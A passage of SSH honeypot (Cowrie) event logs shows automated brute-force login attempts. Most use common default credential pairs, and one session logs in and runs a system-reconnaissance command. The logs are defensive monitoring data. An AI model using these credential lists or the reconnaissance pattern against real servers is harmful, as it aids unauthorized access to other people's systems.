ha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:36.581842Z","src_ip":"192.109.200.78","session":"d5f5770bd420","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:36.842036Z","src_ip":"192.109.200.78","session":"d5f5770bd420","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:37.966559Z","src_ip":"192.109.200.78","session":"d5f5770bd420","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55892,"dst_ip":"10.17.0.5","dst_port":22,"session":"5b76d2f82bf8","protocol":"ssh","message":"New connection: 192.109.200.78:55892 (10.17.0.5:22) [session: 5b76d2f82bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:40.772608Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:40.777293Z","src_ip":"192.109.200.78","session":"5b76d2f82bf8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:40.870133Z","src_ip":"192.109.200.78","session":"5b76d2f82bf8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chatgpt","password":"chatgpt","message":"login attempt [chatgpt/chatgpt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:41.123871Z","src_ip":"192.109.200.78","session":"5b76d2f82bf8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:42.210339Z","src_ip":"192.109.200.78","session":"5b76d2f82bf8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55900,"dst_ip":"10.17.0.5","dst_port":22,"session":"19ebec53b2de","protocol":"ssh","message":"New connection: 192.109.200.78:55900 (10.17.0.5:22) [session: 19ebec53b2de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:44.815219Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:44.821766Z","src_ip":"192.109.200.78","session":"19ebec53b2de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:44.905392Z","src_ip":"192.109.200.78","session":"19ebec53b2de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111","message":"login attempt [root/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:45.157181Z","src_ip":"192.109.200.78","session":"19ebec53b2de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:46.276286Z","src_ip":"192.109.200.78","session":"19ebec53b2de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35922,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e78bea8a0c2","protocol":"ssh","message":"New connection: 192.109.200.78:35922 (10.17.0.5:22) [session: 9e78bea8a0c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:49.126239Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:49.152550Z","src_ip":"192.109.200.78","session":"9e78bea8a0c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:49.611441Z","src_ip":"192.109.200.78","session":"9e78bea8a0c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:49.860757Z","src_ip":"192.109.200.78","session":"9e78bea8a0c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51472,"dst_ip":"159.203.135.109","dst_port":22,"session":"c89f9e7f4b69","protocol":"ssh","message":"New connection: 159.203.92.129:51472 (159.203.135.109:22) [session: c89f9e7f4b69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:50.238574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:50.243185Z","src_ip":"159.203.92.129","session":"c89f9e7f4b69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:50.247593Z","src_ip":"159.203.92.129","session":"c89f9e7f4b69","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Thestableadmin123","message":"login attempt [admin/Thestableadmin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:50.258021Z","src_ip":"159.203.92.129","session":"c89f9e7f4b69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:50.308396Z","src_ip":"159.203.92.129","session":"c89f9e7f4b69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:50.310651Z","src_ip":"159.203.92.129","session":"c89f9e7f4b69","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:50.313954Z","src_ip":"159.203.92.129","session":"c89f9e7f4b69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:50.323433Z","src_ip":"159.203.92.129","session":"c89f9e7f4b69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:50.329622Z","src_ip":"159.203.92.129","session":"c89f9e7f4b69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:50.945627Z","src_ip":"192.109.200.78","session":"9e78bea8a0c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35924,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c260e110c7f","protocol":"ssh","message":"New connection: 192.109.200.78:35924 (10.17.0.5:22) [session: 1c260e110c7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:53.276401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:53.281483Z","src_ip":"192.109.200.78","session":"1c260e110c7f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:53.364183Z","src_ip":"192.109.200.78","session":"1c260e110c7f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mongodb","password":"mongodb","message":"login attempt [mongodb/mongodb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:53.614035Z","src_ip":"192.109.200.78","session":"1c260e110c7f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:54.699758Z","src_ip":"192.109.200.78","session":"1c260e110c7f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35928,"dst_ip":"10.17.0.5","dst_port":22,"session":"a646aa236a7c","protocol":"ssh","message":"New connection: 192.109.200.78:35928 (10.17.0.5:22) [session: a646aa236a7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:57.643605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:57.648271Z","src_ip":"192.109.200.78","session":"a646aa236a7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:57.734814Z","src_ip":"192.109.200.78","session":"a646aa236a7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password1","message":"login attempt [root/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:58.022379Z","src_ip":"192.109.200.78","session":"a646aa236a7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:32:59.111084Z","src_ip":"192.109.200.78","session":"a646aa236a7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57764,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b450103f101","protocol":"ssh","message":"New connection: 192.109.200.78:57764 (10.17.0.5:22) [session: 4b450103f101]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:01.731600Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:01.738626Z","src_ip":"192.109.200.78","session":"4b450103f101","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:01.826290Z","src_ip":"192.109.200.78","session":"4b450103f101","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:02.213645Z","src_ip":"192.109.200.78","session":"4b450103f101","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:03.310365Z","src_ip":"192.109.200.78","session":"4b450103f101","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":57768,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1e3e794e48b","protocol":"ssh","message":"New connection: 192.109.200.78:57768 (10.17.0.5:22) [session: b1e3e794e48b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:05.988607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:33:05.996494Z","src_ip":"192.109.200.78","session":"b1e3e794e48b","protocol":"ssh"}
